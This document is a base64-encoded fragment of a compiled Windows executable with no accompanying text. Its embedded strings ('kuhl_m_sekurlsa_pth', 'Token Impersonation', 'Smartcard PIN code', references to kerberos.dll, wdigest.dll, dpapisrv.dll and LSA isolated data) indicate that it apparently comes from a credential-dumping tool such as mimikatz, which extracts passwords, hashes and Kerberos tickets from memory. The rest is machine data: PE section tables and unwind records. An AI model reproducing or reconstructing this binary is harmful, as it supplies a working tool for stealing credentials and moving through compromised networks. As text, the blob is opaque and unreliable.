AbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAAoACQAgACoAIABGAGwAYQBnAHMAIAAgACAAIAA6ACAASQAlADAAMgB4AC8ATgAlADAAMgB4AC8ATAAlADAAMgB4AC8AUwAlADAAMgB4AAAACgAJACA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wC1ABJAoAJDQZACTSHfAb4BnQF8AVcBRgE1ABHwwAH3QXAB9kFQAfNBQAH9IY8BbgFNASwBBQARwMABxkFQAcVBMAHDQSAByyGPAW4BTQEsAQcAEXCAAXZA8AF1QOABc0DQAXkhNwASQKACQ0FAAkkh3wG+AZ0BfAFXAUYBNQAQgCAAhyBDABGAoAGGQUABhUEwAYNBIAGNIU8BLgEHABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGfAX4BXQAQoCAAoyBjABFAgAFGQKABRUCQAUNAgAFFIQcAEPBgAPZAkADzQIAA9SC3ABEwQAEzQGABMyD3ABFAoAFDQNABQyEPAO4AzQCsAIcAdgBlABCgQACjQIAApSBnABDwYAD1QJAA80CAAPUgtgASMNACN0IgAjZCEAIzQgACMBGgAY8BbgFNASwBBQAAABGQoAGTQWABnSFfAT4BHQD8ANcAxgC1ABHwkAH+Ib8BngF9AVwBNwEmARUBAwAAABGQoAGeQTABl0EgAZZBEAGTQQABnSFfABIwwAI2QZACNUGAAjNBYAI/Ic8BrgGNAWwBRwAQoEAAo0DgAKsgZwASIJACLiG/AZ4BfQFcATcBJgETAQUAAAAR8MAB90FgAfZBUAHzQUAB/SGPAW4BTQEsAQUAEeCgAeNBUAHrIa8BjgFtAUwBJwEWAQUAEVCAAVdA4AFWQNABU0DAAVkhHgARQGABRkDgAUNAwAFJIQcAESCAASVA8AEjQOABJyDuAMcAtgASAMACBkEwAgVBIAIDQRACCSHPAa4BjQFsAUcAEQBgAQZA0AEDQMABCSDHABFQgAFXQIABVkBwAVNAYAFTIR4AEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABGQgAGWQIABlUBwAZNAYAGTIVcAEiCgAidAsAImQKACJUCQAiNAgAIlIe4AEKBAAKNAwACpIGcAEQBgAQZAkAEDQIABBSDHABFAYAFDQRABSyDXAMYAtQAR0GAB00EwAdshZwFWAUUAEMBAAMNAsADHIIcAEGAgAGcgIwAQoEAAo0CQAKUgZwASAMACBkDwAgVA4AIDQMACBSHPAa4BjQFsAUcAEcBQAcYhjgFnAVUBQwAAABHAoAHGQYABw0FwAc8hLgENAOwAxwC1ABHgsAHmQmAB40JAAeAR4AEvAQ4A7ADHALUAAAARUIABV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